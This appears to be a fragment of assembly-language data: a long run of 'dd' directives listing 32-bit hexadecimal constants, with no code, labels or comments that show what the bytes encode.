		dd 615E26DCh, 0C23B7A9h, 0E6FD98C4h, 6F40D830h,	2EF47B8h
		dd 970F19Dh, 1CDD0120h,	0EB608CADh, 0CA3F0880h,	0C0343838h
		dd 0D98783F6h, 3CF12241h, 0D7183886h, 0AD98985Ah, 5FE12701h
		dd 72462CBBh, 1E2F42F8h, 0C084EE1Ch, 2606F290h,	2207CA12h
		dd 278B08A1h, 18305A45h, 20D55395h, 86208F8Eh, 13E12098h
		dd 815C6123h, 3B832EB2h, 0C660197h, 30DB8A11h, 38C36CD2h
		dd 0A1894201h, 204C5EC1h, 6EA00831h, 0C6049367h, 0E000AEAAh
		dd 8F01217Ah, 1C19A22Bh, 68320B87h, 0A60295E4h,	8008CCE8h
		dd 10864950h, 71941589h, 217F5315h, 284EC114h, 89855B92h
		dd 2888F9E6h, 3E1BBF78h, 0E1295713h, 0D88C9E67h, 0A80877D6h
		dd 412E7015h, 0F031871Ch, 264361F4h, 0B031C735h, 28009DBh
		dd 105F702h, 0A3475060h, 8A3C20D8h, 38368632h, 58E428A1h
		dd 0B410C0F5h, 660A8DE5h, 5F8C4B6h, 70217C6Ah, 399EC16Ch
		dd 0C6818CE6h, 0A602B84Ah, 8CA3FAFEh, 2850F826h, 0D1F09F41h
		dd 352AF4DAh, 8DB63DCh,	18747141h, 78838530h, 0FA2E79CBh
		dd 0F078744Fh, 0E108C4EAh, 4C2B1FBFh, 544CD607h, 33C5F91Dh
		dd 194F6190h, 0F179A4E1h, 315360A4h, 0F3724C09h, 2D22A4C8h
		dd 60780137h, 126979C6h, 2C19A0A1h, 3A08E904h, 998CC8BCh
		dd 4756919h, 0AEC55070h, 0F33C4504h, 8882F1AEh,	0AA0C789Ch
		dd 317402C7h, 0D0296826h, 0BCE158F8h, 88330811h, 6051EA32h
		dd 3883DC47h, 0FCAC9933h, 7DCC6601h, 69405C21h,	4335C61Bh
		dd 7D9EB159h, 0AD818823h, 9DD3D46Fh, 8E60A629h,	0F0740854h
		dd 0B4B8DC5Bh, 507028EFh, 0F6CE1625h, 21E6808Dh, 81424490h
		dd 7382BD81h, 3429BE67h, 0BC2C5099h, 558218DAh,	3A26296Ah
		dd 4BB78A5h, 96CC6B98h,	2CF58605h, 9908EF64h, 5946444h
		dd 287C2D66h, 0F219633Ch, 0C62958AFh, 2619F0FCh, 4547721h
		dd 0C328EE01h, 810F658h, 410FB761h, 28951F7Ah, 7B6265C1h
		dd 89A61091h, 0D02E4C66h, 1F615863h, 0ED4D0910h, 48CE5F18h
		dd 70CCF344h, 31A1088Fh, 81101AB4h, 0C5088929h,	4701C1Fh
		dd 2088D930h, 93521C97h, 0B0D88810h, 22761AECh,	0C5149711h
		dd 0A0B02E6Dh, 1DA0CDh,	2FAF1ECFh, 9B28B45Bh, 7953820Eh
		dd 0C019E6Eh, 0DACDA7D1h, 60FFD4C0h, 239428B0h,	0D3237BA8h
		dd 0CF498176h, 0AA1E97h, 11A963F4h, 0C078337Bh,	0F1BD6B36h
		dd 5B290431h, 0CAFC3D4h, 409308F6h, 992453C9h, 482329B1h
		dd 70018803h, 344100F7h
		dd 737EC7A4h, 2C793366h, 200418ACh, 3495EEA9h, 0B94B1403h
		dd 0FC80E80Ah, 8AE0307Dh, 0C4638E35h, 0A4D7431h, 0FCC778F3h
		dd 35CC3951h, 76542880h, 243382BAh, 137E360Ah, 0E8601875h
		dd 0DFD52D9Ah, 0C3F102B9h, 40B09382h, 85315208h, 0E59459B1h
		dd 60B828A1h, 3E06AEAh,	28526484h, 82228B3h, 78452708h
		dd 0BF7DD406h, 28A203A8h, 8BD6E65Dh, 9BA1FFF0h,	0AD400B00h
		dd 0ED6684E9h, 455D1472h, 1FC014AFh, 7356509Bh,	0C544680h
		dd 82E55D6Bh, 0F2650508h, 1C30AC11h, 20B102D0h,	0A6207195h
		dd 2F653101h, 0A368BE31h, 39161C40h, 39F5610Ch,	0BD770A86h
		dd 0C01425A2h, 0EB20D832h, 0D1C307FDh, 4C500171h, 0A9A5A1D5h
		dd 0A385D081h, 0C9081CA6h, 8CFDF680h, 53060C6h,	0F3EDB108h
		dd 0D7C1508Dh, 0E053AE39h, 0A4956711h, 9636125h, 8158C272h
		dd 187FA710h, 1044AE86h, 37330438h, 5F10AD8Dh, 813135C0h
		dd 0FE00802Fh, 0A6FCFFDFh, 0E9CB2Eh, 90330CE2h,	55B6B7F6h
		dd 26034B7Fh, 0B32C1C25h, 891C00C0h, 0D0D1BD50h, 0E8A01175h
		dd 97003D5Ah, 7937F173h, 3A575BDAh, 0D75C28FBh,	4935B002h
		dd 7240AF1Ah, 20007C25h, 1DADFA38h, 13D5807h, 5584F64Ch
		dd 0F8E2BD1Ah, 0D51C37BBh, 79811D32h, 874B57E6h, 0EE9B58D0h
		dd 78CB00AAh, 0D2071E5Ch, 0D00D947h, 16064321h,	1FF86AC3h
		dd 40110CC5h, 1B619D6Dh, 0AE01C822h, 7AD2793Bh,	0C6404034h
		dd 0EE3FE4Ah, 22C58CE1h, 6060E52Fh, 0B9635253h,	51003EE8h
		dd 0D1CE1B71h, 1692A6Bh, 0CF292735h, 0F04DA63Bh, 0F900E99Ah
		dd 9154BB0h, 0C644B8h, 6D3691A4h, 0CA37FA8Fh, 8E43610Eh
		dd 0B9FA0F4h, 0A794A3h,	0E31E88CBh, 0B2895DD1h,	0B027D90Ch
		dd 2458E1h, 0F44F93E8h,	92BB95F3h, 0F5D5A700h, 0BFC57084h
		dd 0BB43F17h, 37031002h, 0F082208Ch, 0BC907896h, 0C3005A2Dh
		dd 2847B5ADh, 49C1F2h, 26F7ABF4h, 34FA0914h, 0D73CD100h
		dd 3A6A1FE3h, 0DDB907E1h, 60907BC5h, 10FB7582h,	4CE0F102h
		dd 48AF73ACh, 5422E24h,	0EE5A8D20h, 0F2CC0078h,	0E461A1CCh
		dd 9D9EE90Fh, 383E2CD8h, 7BEFFC81h, 7E70000Ah, 3F9AED16h
		dd 5100BB2Bh, 0CD6DD052h, 1CC949A9h, 40816275h,	0BF93E746h
		dd 3303D2A0h, 5809E216h, 0A275A084h, 1D3C0E64h,	6E809027h
		dd 0EAAB1749h, 0C1CF8300h, 5853A601h, 0FD9F00FEh, 8A899D0h
		dd 0CC002363h, 329CD375h, 3418F60h, 0F2DF7B5Dh,	0E3B82077h
		dd 62000814h, 4C62782h,	3AAE6C32h, 8D0315F5h, 0A2EC01F0h
		dd 0F81146D8h, 0EF344801h, 989377E7h, 0DDD6BC51h, 1751C4h
		dd 6636D2BDh, 6D04CE8h,	0B9495E1Eh, 755F1140h, 0FCCE645Dh
		dd 0A01D1CA5h, 0ED264A25h, 8F8E3C85h, 0D1206763h, 0D7A6235h
		dd 0DD9E0200h, 2D0640A6h, 0C7C40016h, 0A0C2E010h, 0C800A521h
		dd 0EE2268A8h, 241798h,	3626B8D2h, 124E7D4Fh, 56848C00h
		dd 0FC81392Dh, 0A3C50971h, 806166h, 2EE8C95Dh, 0DB070690h
		dd 3AE727A2h, 0D82D36D0h, 1909001Ch, 29C63F7h, 4F004B61h
		dd 0B746DC77h, 0C185B3h, 0B857CED5h, 0BD78D6DDh, 67843500h
		dd 288B8DEEh, 3EE00037h, 0FF563F61h, 0E109DC08h, 0A15BCA77h
		dd 2B78D744h, 0D137D8DFh, 6BBA0F68h, 0B500A104h, 479A211Bh
		dd 0DA89C1C0h, 0E142E58h, 17044C4Fh, 2D7B0012h,	89AA6CDFh
		dd 0CB4D5D00h, 0B436B2FEh, 0CD7739h, 3530886Fh,	69E172Bh
		dd 12F92500h, 9F621D6Dh, 0E05D0066h, 31222096h,	0A400D0D2h
		dd 0B43C01EAh, 1217BA97h, 872E46h, 3D640CE8h, 5E0E5B76h
		dd 0E7A0E656h, 1BD0C0C4h, 0EEB2B7F3h, 0AEE8F2h,	9B09DBD9h
		dd 1E763A43h, 0D0A3D279h, 611170E0h, 6F25DD00h,	0F987264Bh
		dd 0E45F005Eh, 47B15DC0h, 0F80005B6h, 1A79855h,	0B83B9A36h
		dd 97B53F6Dh, 7E1FA280h, 0FBE0C3D2h, 0C60C780Ah, 8100A426h
		dd 16A61DDDh, 96D00045h, 0C37D39CBh, 0FF034F04h, 48231E5Eh
		dd 7E30E81Bh, 0AB78E2h,	33AB070h, 0BC5A9CA8h, 0A7A4E100h
		dd 0B1669DBDh, 0A6290A80h, 128C3534h, 40361DA5h, 92FE449Ch
		dd 0DC0062E2h, 0E0D6F51h, 7779BE61h, 4E4D03C0h,	0FDE870F9h
		dd 54CE5588h, 0DC2F6407h, 0AE86F1h, 0DAAA3C72h,	7170043h
		dd 81EA0466h, 700FC105h, 52F85119h, 75B84C00h, 7C5ADDh
		dd 0B3C7DC3Ah, 0CC925EC4h, 8E011F1Ch, 0D75F5003h, 0A7C0843Bh
		dd 0DC1838h, 3F12B496h,	5AE480ADh, 0D4FA38B2h, 3B10DA00h
		dd 84F35D26h, 1132602Ah, 86FB76AAh, 71627006h, 182541h
		dd 0B90879A6h, 4491EA51h, 3C5CE100h, 0B6418706h, 2FC304FBh
		dd 80A14229h, 0C785DF64h, 61747A00h, 0F0F6463Ah, 0D37E39h
		dd 77B42629h, 7B0316C6h, 5100DAE4h, 0FDE50144h,	39E48BA6h
		dd 5080DC21h, 0FA9F55FEh, 660F89E6h, 67969A4Dh,	0E9D0B847h
		dd 386E549h, 796B2233h,	301D57E8h, 604F1EFCh, 0B4810043h
		dd 5480B30h, 271FEB13h,	0C4C78044h, 0E500D3B3h,	7EDDF8F2h
		dd 3A10605Dh, 0B807DB7h, 0A0CCC821h, 0BD0079C9h, 0DDB60A59h
		dd 438A33h, 943AA267h, 0BA28815Fh, 421FED76h, 39C0F8E2h
		dd 0F9CBB176h, 686400E3h, 41598BF4h, 6C077FFEh,	0E294F023h
		dd 9E8772C0h, 62760003h, 4F708A6Dh, 9200F98Eh, 2EF83C15h
		dd 0C579CFh, 0DF5A7750h, 0CCAEA221h, 9B3E0A00h,	1045BE5Ch
		dd 97A300A6h, 4DBA32D0h, 13003CAFh, 0FDDC69F9h,	0F7737h
		dd 99DD2C90h, 38EAE9CAh, 0D10E4A90h, 0A0B58F86h, 0C4B9F2A0h
		dd 0E8C700C3h, 5051E11Bh, 3300EB6Dh, 0CD106A5Ah, 0A48175h
		dd 314AA61Ah, 43F7CC8Ch, 38943Ah, 729E9336h, 0F2F46h, 0CF6CE05Ch
		dd 2778195Dh, 0D14B3700h, 1AE7F1E3h, 0B1C424E2h, 2AA480CCh
		dd 0A5C2FB90h, 401FFE00h, 1CB049E0h, 3700079h, 4AD10AA1h
		dd 2800F0E5h, 549BF592h, 0D8306Dh, 3CB8953Dh, 8250F28Eh
		dd 0DD49AB07h, 0C9FE1F7h, 1EBA611Bh, 3D9B97Eh, 0B3D70A87h
		dd 0BB6E56A0h, 93D320C0h, 35E57Ah, 0C4C31218h, 76E2FEF4h
		dd 746D70Eh, 0B2C7C298h, 8B88069h, 4A19D3h, 557E3BBEh
		dd 0DAF92D4Dh, 27597218h, 671B8B50h, 0C025789Eh, 760AA9D7h
		dd 745D1C1Eh, 11AA6F0Ch, 519A0FD5h, 41014C31h, 8018FC30h
		dd 0D262A2B1h, 1B89AB8Bh, 19191F2Fh, 74B3E9E9h,	544F302Ch
		dd 90009ACh, 0CE287056h, 0AB03E3FDh, 0A11D2E87h, 0D00AFBD8h
		dd 0E03B29h, 0EE24509Bh, 28D38026h, 659D7607h, 29C0CFF0h
		dd 5ADCB0h, 0FFA6638Bh,	0F91CBDD0h, 1FD9A900h, 33820BA7h
		dd 893200B5h, 7491FF04h, 7C00903Eh, 968B033Fh, 0A05DB7h
		dd 0C02A2CE2h, 0E8F86E4Ch, 1B4EF3Eh, 221D868Ch,	24C414E9h
		dd 96134C74h, 0A9555000h, 658AFE02h, 85E9D200h,	0C6FB1B2Eh
		dd 0CC7746h, 9CAFB83Ah,	50A5DB6Ah, 2A529F00h, 0DDB078E7h
		dd 5D200A9h, 410F7091h,	8100A89Eh, 0A4F03A73h, 2A8F61C1h
		dd 0C494C8h, 3832930Ch,	7316BF46h, 96348D3Bh, 2000330Ah
		dd 6E9942FEh, 140D0251h, 1646E5DFh, 37383AE0h, 0C15AD428h
		dd 4CBD560Fh, 65A4A02Eh, 60CFC34Ah, 0B5266193h,	0F005060h
		dd 0D966E36Dh, 0F0912C5h, 32B28D7Bh, 0D38D052h,	0D57F59DFh
		dd 1E60800Fh, 7CE90031h, 249B1C9Eh, 4024F793h, 19401604h
		dd 0D9FB1E00h, 0B920C70Fh, 2E49CEB0h, 5530ADA0h, 5A4EBD91h
		dd 0D10980F8h, 0AC10D041h, 10381A6h, 0D7E78D08h, 5673C05Ah
		dd 0FB3E005Ch, 0E8AD95B7h, 7A0160FCh, 0B65D2ACCh, 0E6D0322Eh
		dd 8ADD18ACh
		dd 8D5C4824h, 0D6F35B00h, 0D253272Fh, 69B0012h,	2332D503h
		dd 0CE0B350Dh, 9DF25Fh,	5568E6FFh, 0E8EFA24h, 7EB92A4Ah
		dd 9CB880BCh, 8AADA13Dh, 15CD7600h, 0C22A75EEh,	66470088h
		dd 0DAFD1D0Eh, 3D039217h, 4FF33FDCh, 761103D0h,	772647B8h
		dd 37694807h, 0E5B00709h, 17AB7F53h, 0B6D298h, 0B1A60158h
		dd 4B00F28Bh, 139C1783h, 4180CB3h, 6D687C9Dh, 0A42FC0DCh
		dd 0C9E0E8CCh, 0C00D078h, 696A26ECh, 30660D74h,	3C797545h
		dd 570B7DFEh, 80954348h, 0C6E093E2h, 254C0414h,	83BC5D1Dh
		dd 0AEF82991h, 1331F17Ah, 4115A924h, 424DF980h,	7830127Ch
		dd 57006B90h, 2790FC36h, 1CB78C4Ah, 802CF056h, 0B635C7DEh
		dd 226003EEh, 3B129410h, 58E034Ah, 0B1EF673Eh, 448848A5h
		dd 0C023A487h, 7E719861h, 0C788F8h, 0D2677BF1h,	5F0BD5CDh
		dd 21D0F454h, 8C003074h, 0CC1140FCh, 39B2936h, 6590C389h
		dd 68002C58h, 0C8E68D77h, 0DF7C12h, 0A7850E09h,	0B56EB75Ch
		dd 782CF00h, 3347641Bh,	984E00C2h, 395DDDC7h, 0A400CCBBh
		dd 7A517302h, 210E711h,	3E863C57h, 9140A5F5h, 6E0F752Bh
		dd 80DD5DC3h, 69CA9031h, 9E5A3Dh, 3CC18EE3h, 0BF1EE6D9h
		dd 93801A9Fh, 0B67E8C96h, 49BE0C6Eh, 6406DF2h, 511CB90Eh
		dd 0ADF12055h, 434B13h,	0C43B03E9h, 6B40AAA0h, 39D5D407h
		dd 0C810A6B4h, 7C2C2D36h, 1C6E004Bh, 3FCDC325h,	440E1794h
		dd 58675F07h, 583843E8h, 377DBECh, 52407618h, 0CC3FBE3Ch
		dd 7E9A0167h, 0A62B967Ah, 0CE7FB08Eh, 0ADFD1003h, 0A5077290h
		dd 0E5E9B61Ch, 0B8C0B480h, 0ED2FE49h, 0EADC5DDAh, 0C6932920h
		dd 0DBF2E621h, 0EDEFA003h, 0C7E46345h, 561075C1h, 0F2E959F0h
		dd 0C03A00C1h, 3E38D1C4h, 0CB002B0Ah, 1D6F0603h, 3D57E2h
		dd 269AF871h, 0DDD1A290h, 0DEEFB400h, 9784FC41h, 0C5400099h
		dd 633D56FAh, 5B001E4Fh, 535DE79Fh, 859C67h, 1D4DB873h
		dd 0B3D00F9Eh, 24FD3E0Eh, 0DEDB208Ah, 0B0B0CD5Fh, 3F320005h
		dd 0A690B863h, 0E700BCE5h, 190E91B4h, 1274CF83h, 0BA94C26Ah
		dd 9EE6407h, 84A246B0h,	1CA47E7Ah, 0BAC4DAh, 4DB2B97Dh
		dd 0A600BF89h, 2F8F22CDh, 1D765FABh, 8017E87Ch,	0EC86CB7h
		dd 3000E2A3h, 8CBB328Dh, 6D0DC4h, 9A11AF17h, 0DA26D4A4h
		dd 7B4E310Fh, 489D00F8h, 0C0A86C90h, 1581E521h,	2D1FC93Fh
		dd 1F800486h, 74329FAh,	288C0017h, 5AC55B69h, 0EDFE5D52h
		dd 0F13840F4h, 0BEA49DABh, 0B8F5D403h, 7019F01Eh, 96D2A0FDh
		dd 0FFEC0037h, 83ABDE5Dh, 1E009880h, 3A897A5Eh,	571A76h
		dd 0B95E9EEh, 0D83E0B4h, 174B9A0Fh, 0A4982031h,	0C971442h
		dd 108BD019h, 18C1F3B6h, 31E87EABh, 0EFB5CCh, 545937AAh
		dd 291067DBh, 0A0C5B7Eh, 0A8EE5292h, 39976004h,	62DA17B9h
		dd 32FE820h, 1C062146h,	2073F4CDh, 0F320FD0Ah, 0FA00DC45h
		dd 0A2717DC0h, 0A0B312B6h, 144207Bh, 7F00CB52h,	459DB853h
		dd 8F2822h, 0C436CFA6h,	16688B06h, 0F7F41A18h, 0F2F56758h
		dd 0E65812BEh, 49C10047h, 5E91D617h, 82040B18h,	436B70h
		dd 48DDC91Ch, 0EA3B64F6h, 1B163301h, 3C11E657h,	0CC08C0C7h
		dd 0CE231F56h, 162F40B9h, 0AEE1698Dh, 0EF5B6A00h, 0CB3C4968h
		dd 10BA13A9h, 510007Eh,	6E6F403Ah, 0E072EBF2h, 0E6C81C00h
		dd 14AE856Ch, 57200B7h,	0CB08B484h, 24003EFBh, 798E3B04h
		dd 168939EFh, 0D4FF0Bh,	78F774EFh, 4E005114h, 0B5A78C16h
		dd 188F91h, 66E467BFh, 7D6DD9B4h, 29154C00h, 4D2DA4A7h
		dd 0C94826ADh, 81980034h, 8B619C0Eh, 5C41CCA8h,	0B3EEEA00h
		dd 0B286678Fh, 5EDC000Bh, 13EFC779h, 1F76392Ch,	1DFF5400h
		dd 256D273Ah, 967200DCh, 0E29E7D17h, 624CB8B0h,	60390Ch
		dd 0B375FEADh, 0EE08F1Ch, 0C552C4A5h, 0DB4CC780h, 0E6032C34h
		dd 35859FA2h, 0FC83C8h,	0FB6CF188h, 0D4423EB8h,	14E7E200h
		dd 863AF473h, 9D7B0111h, 224D131h, 8767E035h, 0E7037900h
		dd 6EE5A169h, 65F6003Eh, 0A2C16A08h, 24FEE0C4h,	40032B0h
		dd 0CBE492A6h, 7660CE4Bh, 571700BDh, 0F18B0126h, 1298142Dh
		dd 64F72424h, 997F803Fh, 7B029CF9h, 2E96005Bh, 5692D0FEh
		dd 7900229Dh, 3773C8CBh, 0D84C74h, 8D24A96Ah, 8A4423CEh
		dd 805BE13Bh, 14EBA398h, 0BF3DD7h, 0B7EAB1FEh, 0E53A5582h
		dd 5449AEA0h, 8F78013Ah, 75DC9Bh, 5F89020Eh, 5915005Bh
		dd 7DD7A2FFh, 8300235Ch, 1BA776B7h, 90A5CB11h, 0DB7000DDh
		dd 59947EC7h, 0F60E406Ch, 61ADC276h, 0F95C1DB4h, 1D23BEF8h
		dd 80E3A327h, 3492AEB2h, 0C400F8BBh, 0B4DF1E9Dh, 5F68ADh
		dd 799609B1h, 0F2434FDEh, 34A25700h, 0BD837E1h,	7FD03BE2h
		dd 9149EB81h, 704DCC01h, 0CE0019DDh, 0EE077E45h, 2B710Dh
		dd 0EB39424Ch, 0DA7C2838h, 3B66A905h, 0AC0032E0h, 0FE9F555Dh
		dd 3EF17D10h, 5A80EEF7h, 2FBBEAB5h, 0A9A0B93Fh,	9E3A34DDh
		dd 3C2131F9h, 0AEE0240Bh, 0DD53973h, 41082280h,	9CDE6FEDh
		dd 28CBC600h, 18FBF513h, 0BE70080h, 5697A29h, 95002014h
		dd 0D4868DBCh, 6075F9CEh, 25A58865h, 8F02AB45h,	0BADD23D0h
		dd 27244063h, 6FA61819h, 0C1651099h, 3BA2D104h,	4E07530Ah
		dd 54849058h, 9DE8E219h, 0C7387D60h, 92151BCh, 1A05F756h
		dd 0FD1C8Ah, 0AE67C323h, 1F5871E8h, 16800098h, 9FBAF26Bh
		dd 0CFEB009Ah, 0A38BE69Bh, 9CF01578h, 420C2100h, 6C52A072h
		dd 0F1A6006Fh, 1F6E10BBh, 91392984h, 0CD970FB6h, 80558EE1h
		dd 0E98AF3C1h, 9F6C0053h, 0D50ABAAAh, 0DE00D9D0h, 4E7A3275h
		dd 66DADBh, 146E577Dh, 46582839h, 8F19011Dh, 0C199270Eh
		dd 54AA7E7h, 0A9C1E8h, 9C351406h, 707C6E2Dh, 65E7BB0Bh
		dd 48A0012Ch, 8DF5BCB3h, 16BEC1C0h, 90D87Bh, 5C034F71h
		dd 0BFE55CCh, 0A3A1E18h, 0B0F4AAF1h, 9AE0A8h, 2F01811Fh
		dd 0FECE8205h, 8D42920Bh, 0F2838045h, 72DA0D87h, 0F4160CBBh
		dd 30228CB0h, 0E9073D00h, 0EA1D1F7Dh, 0EF6D3977h, 0DB25AB00h
		dd 0AE896821h, 0F6C4D700h, 53E41FFDh, 3C900D3h,	0DBB9799Ah
		dd 0BF3BE83Bh, 0A4CCBAh, 91367407h, 0FABC60Bh, 5DAEEDA7h
		dd 0C565809Dh, 0D28E604Ch, 3687D500h, 3F9C4D1Ah, 781B7740h
		dd 0AFDB1313h, 0F118404Ah, 0CB21A1D5h, 9F008C72h, 0DE247797h
		dd 74BBA719h, 30600032h, 82598371h, 22EAB9AAh, 0C101F9E2h
		dd 2EDFD68Ah, 98301D53h, 3C290132h, 0AF035A64h,	0BE9C24D1h
		dd 0CB5E6A00h, 476092C5h, 6BE90C6Fh, 0B220D7A0h, 16B66902h
		dd 0EB619DB3h, 32CDE0CCh, 0D420C7DAh, 654AE0C8h, 7004D02h
		dd 7FA7E88Dh, 0E632D3h,	0A1E5CBA4h, 0E9D8E3DDh,	0E1D6C809h
		dd 343B87CAh, 0FE8FF800h, 0CB150069h, 4876ACB3h, 0DB072443h
		dd 0A7A1E641h, 5719D3h,	9B5E0280h, 0AB08D277h, 67540F0Eh
		dd 76902130h, 8880CB16h, 73F63FC1h, 0C507DD52h,	32D7596Dh
		dd 88FE1500h, 10FB3A0Eh, 12DDEE70h, 81E47A11h, 4030A540h
		dd 4AB66068h, 0B15EEF02h, 8708DD6Dh, 0D3A06814h, 0EC8F98B5h
		dd 41B90051h, 4BAAF3ECh, 6200DB38h, 343AEFD5h, 7E4EC0h
		dd 7CB04969h, 0AB4BAD76h, 2499A31Ch, 311EDB80h,	0A519A80h
		dd 156FDAB7h, 7E7881ACh, 0CD37F21Ch, 0C95CF47Fh, 0B39BB928h
		dd 0E4601B00h, 0A62E8EB0h, 0E0DD5461h, 9FF00054h, 0B9C33B14h
		dd 0D400E869h, 5CEBC00Eh, 3D2329ABh, 3A144CD7h,	0BF0098B4h
		dd 0ECB2E89Bh, 0DD7C0982h
		dd 849D1800h, 5FFDC2CEh, 5D68C19Fh, 8F1D78C6h, 0C061B898h
		dd 0BE8C983Eh, 9252437h, 5BC700B8h, 10FACE0Ah, 4F9E3B01h
		dd 26ACF9A7h, 0C0C8D3E0h, 336A24A1h, 6E2807C9h,	92F8A4E1h
		dd 0A33A3900h, 0E844AD20h, 951D00CAh, 0D31B91F1h, 0FB496526h
		dd 3C380080h, 76F94572h, 0CB063C96h, 0AF6C804Eh, 476E9728h
		dd 7A50A029h, 60C11161h, 3E78B93Bh, 4A000D35h, 8E7DD434h
		dd 3779413h, 15AC11BDh,	188673Ch, 0EF0E0DC6h, 0A0B640AFh
		dd 0F72EE04Dh, 10A10092h, 37128320h, 6A07CA49h,	134406D4h
		dd 10D8048Ah, 10236093h, 1E66398Eh, 4E87EF00h, 0D0787F52h
		dd 0C05800A1h, 91191011h, 8F0C63E3h, 281F9F43h,	40252012h
		dd 0CA5F3210h, 8964D11h, 81C8C6Bh, 0AE8421A6h, 5108CB1Fh
		dd 1827EC41h, 0DA208A02h, 0AAED74h, 8494F22Ch, 511AE4ECh
		dd 8F6A6B01h, 0A0638755h, 1EC4BCECh, 40384254h,	8C71B004h
		dd 0A70174D0h, 4ED5C6E0h, 7730EB33h, 0ADE26Dh, 0D260DA80h
		dd 9597835Bh, 22F13400h, 0EA655785h, 8A7E3CC1h,	0DE59CB00h
		dd 9D05969Bh, 88417600h, 0DD9160F8h, 1606002Fh,	9EA50FBBh
		dd 0D800FF7Fh, 3D29CC13h, 0E6EB63h, 6AC3561Bh, 2B897024h
		dd 0D1C0600h, 2602E91Dh, 77C200A4h, 5FAEB04Ch, 330097BFh
		dd 0A71F069Bh, 6ADAC1h,	0D0E479F4h, 0BC4F74B0h,	0D3204300h
		dd 7EF19D94h, 5BE728E2h, 0CF43EF9h, 436D2100h, 5716F974h
		dd 6048BD00h, 8404E5F1h, 26862639h, 0D5280198h,	0CD21B9DCh
		dd 29F3709Bh, 0EAA48200h, 92EF12B4h, 537A0045h,	0E7048EBh
		dd 0DD005B0Fh, 432D3574h, 0E66F0A82h, 97B30025h, 5F91FF9Ch
		dd 0AA00A4E0h, 0F05DE7B8h, 7CD2140h, 0CF512FADh, 0F3A0378Ch
		dd 0A980E91Ch, 50E9D30h, 0CFEC4728h, 19AD802Fh,	7B5B9940h
		dd 0BA350E3Eh, 0C81806FEh, 0E8007F61h, 1AE603ECh, 0E68970Ah
		dd 0DC3C0EB4h, 55F46C80h, 0CF7129E3h, 2D1DE500h, 0AF9A0627h
		dd 0C890023Bh, 0E60A98A4h, 706AF7E0h, 0CA7D310Eh, 680F0053h
		dd 9BD52Fh, 447FAB3Ch, 38924A22h, 31F20600h, 9391815Ch
		dd 0C0FC0082h, 0FFB6F848h, 23008E3Bh, 9EF1C673h, 0C67F641h
		dd 2D4DFBEh, 0C7000CB0h, 0EB5FF431h, 523395h, 5AADBBC1h
		dd 6A853ED1h, 140058E4h, 0F278942Dh, 1A0340h, 0EEB9D071h
		dd 1457FFCh, 0E4DF5B1Ch, 2E714CCh, 5D2400ADh, 0D4265362h
		dd 351F190Bh, 0EC000D7Ch, 0DDB6D328h, 504C7787h, 2FF9A3h
		dd 34980C39h, 0D5737FF3h, 667D1F00h, 0F5946D2h,	0CA400CBh
		dd 53B97CA1h, 0F403730Dh, 5A23E24Ch, 0B181A897h, 51420037h
		dd 86EE2547h, 0AC01CEE7h, 0AEA494A5h, 2C20EC1Dh, 2B530FBAh
		dd 16806EB0h, 0E84E142h, 71CC9000h, 0F9E9A41Bh,	3DF700F2h
		dd 8895C76Fh, 0BA4C8AA8h, 48DF3FF6h, 0BE27004Ch, 0D3646A13h
		dd 0A0730FD1h, 20004868h, 4E9D96F8h, 0B848FAF8h, 45640308h
		dd 0C8CC179Eh, 3DD1A2B0h, 8080AFA4h, 34973731h,	0B2020F0Ch
		dd 0DF3B391Fh, 8AD5C381h, 306440BFh, 51A000A3h,	62A43A7Ch
		dd 3C1F9889h, 69C94FB5h, 505E0071h, 749CE5h, 9409FDFh
		dd 0B91FE381h, 10B1020Bh, 9AAD004Fh, 71DF052h, 80839C5Eh
		dd 538C0099h, 0B90FCD02h, 408DD298h, 0A439A908h, 0DE6E00C5h
		dd 0CAECC38Eh, 0A73E86F2h, 9C2500F3h, 328F6610h, 0D4A800BEh
		dd 8AFAC2EEh, 22039917h, 53370261h, 5179A012h, 3B263C09h
		dd 8E9A0480h, 3CEF484Ah, 0C3B05A00h, 0EFACD70h,	0FB0EBh
		dd 1EF0FF5Eh, 8D758068h, 0A7FD9E00h, 7E7D2718h,	0EE6F24DEh
		dd 0FB890039h, 870CDCBAh, 0E298ED7Eh, 0DD4AFD17h, 4F975A00h
		dd 0A71EDAh, 29A947F4h,	2FA674FBh, 0F68B7C00h, 0F2AEBA37h
		dd 0A1A70026h, 28C856D3h, 0B000E324h, 0DED9FDD0h, 0E919986h
		dd 0BF759639h, 0E224FF81h, 733AC4D2h, 3C566B00h, 41EE837Dh
		dd 0CDE9290Fh, 168F04BCh, 9100EF62h, 34B9E1CFh,	0A301004Bh
		dd 350B89FEh, 1403E77Fh, 9E910217h, 0AC5CE0DFh,	49F101AEh
		dd 2AB68492h, 0EA97204Fh, 1B965900h, 8D51F855h,	0B431032Eh
		dd 0D9F476E6h, 66C7CD98h, 3E45B700h, 90346E72h,	0B734856h
		dd 497F9400h, 1F77079Dh, 51052DE6h, 8F4B427h, 476711C0h
		dd 967C3CAAh, 944FCF80h, 0C332CE34h, 0FD37CA00h, 0B9B8ADA8h
		dd 2A0B1E67h, 0E77009Bh, 0A0CA1721h, 0EE000CFCh, 1F13AC80h
		dd 70E8DCA5h, 0C24C0F5Eh, 17E0A3B6h, 0BAFA1918h, 0BB004071h
		dd 0FD0F675Bh, 0AB8B707h, 0E9453E51h, 7D396D8h,	0A07D6B77h
		dd 0C130F084h, 0A0ABD900h, 54DC996Dh, 381A7FFDh, 1E950A9Bh
		dd 9A0ED48Bh, 0E7E05D89h, 0C7C9F6ACh, 9B242CE2h, 3507F321h
		dd 84008D74h, 24C30AB9h, 3431197h, 6E9B5F2Ah, 934F2390h
		dd 0AA78E900h, 0B372482Fh, 0E0CF07B6h, 0E0453560h, 15D526AEh
		dd 58306303h, 0C007A678h, 0CB4413h, 0D07670E5h,	3CD840C1h
		dd 2FA9F400h, 0A554FD2Eh, 0F7413BCBh, 4C081383h, 23A01094h
		dd 0C07ACAEh, 8B30D7C6h, 33388510h, 0AFEB00B6h,	3F2345C1h
		dd 0B4E83BFBh, 87216A00h, 7C894AA9h, 0DF0300FCh, 2F665169h
		dd 20F2A98h, 81BB4B18h,	0DBC8D983h, 1BB9B68Fh, 45DE20C0h
		dd 0E001182h, 98444E3Fh, 1EB6D6Eh, 0FF2233E8h, 0F0E3D59Eh
		dd 91244706h, 0F101502Ch, 9B386992h, 0BBB91180h, 8A703BB2h
		dd 0B6551E00h, 0D804996h, 517868h, 58A2F576h, 0E54DC964h
		dd 0DFD9CC00h, 0EE817E3Ah, 715B0FECh, 17E25D7Dh, 9080969Fh
		dd 0EAB09CBEh, 0FEC06C50h, 48E56A00h, 3146227Dh, 7A1B00CBh
